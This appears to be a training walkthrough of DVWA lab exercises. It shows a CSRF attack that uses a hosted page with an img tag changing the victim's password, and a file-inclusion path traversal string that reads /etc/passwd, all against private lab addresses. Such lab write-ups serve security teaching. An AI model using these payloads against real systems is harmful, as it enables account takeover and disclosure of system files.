# DVWA Exercises 3

### 05 CSRF Attack

<div align="left"><img src="https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MfT0VPyK6X13Egd9pzy%2F-MhmRSvvVbH3nzA_yPo4%2F-Mhn0UHpEYl4mCzkfcXg%2Fdvwa08.png?alt=media&#x26;token=721e2c0b-6a6a-4906-8610-b92962111727" alt=""></div>

Let's type in a password and grab the request in Burp

![](https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MfT0VPyK6X13Egd9pzy%2F-MhmRSvvVbH3nzA_yPo4%2F-Mhn24unN0arLwpdtpKE%2Fburp14.png?alt=media\&token=cf689a16-024f-4355-a0e5-f75bf5d04051)

The attacker must prepare a Website with a manipulated string. This attack only works if the victim is logged in on the target website (session cookie must be valid) and clicks on the manipualted link.

Attackers Side:

> cd /home/hacker
>
> mkdir webroot
>
> python3 -m http.server 8001

![](https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MfT0VPyK6X13Egd9pzy%2F-MhmRSvvVbH3nzA_yPo4%2F-Mhn55ZX01aszM08Fpct%2Fwebserver01.png?alt=media\&token=9bfb00d0-0369-4826-aeb3-42a3a77b752f)

Create a html file with the following content:

> \<img src="[http://10.70.0.1/vulnerabilities/csrf/?password\_new=Secret1\&password\_conf=Secret1\&Change=Change">](http://10.70.0.1/vulnerabilities/csrf/?password_new=Secret1\&password_conf=Secret1\&Change=Change%3E)

Victim Side:

<div align="left"><img src="https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MfT0VPyK6X13Egd9pzy%2F-MhmRSvvVbH3nzA_yPo4%2F-MhnCN6Gp-polJ1azYJ1%2Fwebserver02.png?alt=media&#x26;token=4b99d153-264a-44ae-b0a6-f91ff68184b2" alt=""></div>

![](https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MfT0VPyK6X13Egd9pzy%2F-MhmRSvvVbH3nzA_yPo4%2F-MhnCWy5AZx2DzSRi0hc%2Fburp15.png?alt=media\&token=170b6e62-36bf-4ba2-9e32-2d6868411dbe)

![](https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MfT0VPyK6X13Egd9pzy%2F-MhmRSvvVbH3nzA_yPo4%2F-MhnCd4RW2oSAMxnD6E6%2Fburp16.png?alt=media\&token=a220b658-da00-453d-887b-8c8070d09d7a)

### 06 File Inclusion

<div align="left"><img src="https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MfT0VPyK6X13Egd9pzy%2F-MhmRSvvVbH3nzA_yPo4%2F-MhnEiemPis_C1PWdxmt%2Ffile_inclusion01.png?alt=media&#x26;token=158251d4-475f-4497-8e85-475874629b70" alt=""></div>

<div align="left"><img src="https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MfT0VPyK6X13Egd9pzy%2F-MhmRSvvVbH3nzA_yPo4%2F-MhnFLAI3pVd1EUerDVZ%2Ffile_inclusion02.png?alt=media&#x26;token=01bd610e-08e3-44e9-af56-12f72da9a494" alt="Attacker can try to manipulate this part"></div>

Attack string:

> [http://172.17.0.1/vulnerabilities/fi/?page=../../../../../etc/passwd](http://172.17.0.1/vulnerabilities/fi/?page=../../../../../etc/passwd)

![](https://3977837039-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MfT0VPyK6X13Egd9pzy%2F-MhmRSvvVbH3nzA_yPo4%2F-MhnGkwKjNzAra1MA0Ga%2Fdvwa09.png?alt=media\&token=c9972429-018c-4db7-aec7-a3b9c97b9448)

